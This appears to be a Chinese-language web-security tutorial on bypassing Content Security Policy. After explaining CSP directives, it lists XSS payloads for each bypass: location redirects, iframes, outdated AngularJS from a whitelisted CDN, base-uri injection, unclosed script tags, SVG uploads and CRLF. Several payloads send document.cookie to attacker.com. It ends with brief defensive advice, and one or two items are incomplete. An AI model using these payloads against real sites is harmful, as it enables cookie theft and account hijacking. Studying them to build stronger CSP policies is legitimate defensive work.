csp绕过姿势
字数 1082 2025-08-20 18:17:31
CSP绕过技术详解
0x01 CSP概述
CSP(Content Security Policy)即内容安全策略,是浏览器引入的一种安全机制,用于缓解潜在的跨站脚本(XSS)问题。其实质是白名单机制,对网站加载或执行的资源进行安全策略控制。
0x02 CSP语法详解
基本结构
CSP头由多组策略组成,用分号分隔:
Content-Security-Policy: default-src 'self' www.baidu.com; script-src 'unsafe-inline'
主要策略指令
- default-src:作为所有其他指令的备用
- script-src:限制所有JS脚本执行的位置,包括:
- 通过链接方式加载的脚本URL
- 所有内联脚本
- 各种方式的引用
重要关键字
'none':不匹配任何URL'self':仅允许同源资源'unsafe-inline':允许内联资源(被认为不安全)'unsafe-eval':允许eval()等通过字符串创建代码的方法
0x03 CSP绕过技术
1. location跳转绕过
适用条件:
- 可以执行任意JS脚本但CSP阻止数据带外
- CSP为
script-src 'unsafe-inline'
Payload:
<script>location.href='http://attacker.com/cookie/'+escape(document.cookie);</script>
2. iframe绕过
适用条件:
- 同源站点内存在两个页面
- 一个页面有CSP保护,另一个无CSP保护且存在XSS漏洞
Payload:
<script>
var iframe = document.createElement('iframe');
iframe.src="./safe.php";
document.body.appendChild(iframe);
setTimeout(()=>location.href='http://attacker.com/cookie/'+escape(document.cookie),1000);
</script>
3. CDN绕过
适用条件:
- CDN服务商存在低版本JS库
- 此CDN在CSP白名单中
示例(使用低版本AngularJS):
<script src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.min.js>
</script>
<div ng-app>
{{constructor.constructor('alert(document.cookie)')()}}
</div>
4. 站点可控静态资源绕过
适用条件:
- 站点存在可控静态资源
- 站点在CSP白名单中
示例(利用Google Analytics):
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'unsafe-eval' https://www.google-analytics.com">
<script src="https://www.google-analytics.com/gtm/js?id=GTM-PJF5W64"></script>
5. Base-uri绕过
适用条件:
- CSP script-src采用nonce
- 只设置了default-src没有额外设置base-uri
Payload:
<base href="https://attacker.com/">
6. 不完整script标签绕过nonce
Payload:
<script src=data:text/plain,location.href='http://attacker.com/?cookie'+escape(document.cookie);
7. SVG绕过
适用条件:
- 存在上传功能且未过滤SVG
Payload:
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg">
<script>location.href='http://attacker.com/?cookie'+escape(document.cookie);</script>
</svg>
8. 不完整的资源标签获取资源
适用条件:
- img-src设置为
*
Payload:
10. CRLF绕过
适用条件:
- 页面存在CRLF漏洞
- 可控点在CSP上方
方法:通过注入回车换行将CSP挤到HTTP返回体中
防御建议
- 避免使用
unsafe-inline和unsafe-eval - 严格限制CDN来源和版本
- 设置完整的CSP策略,包括base-uri等
- 对所有上传内容进行严格过滤
- 修复CRLF漏洞
- 使用nonce或hash来限制内联脚本
通过理解这些绕过技术,可以更好地设计和实施CSP策略,有效防御XSS攻击。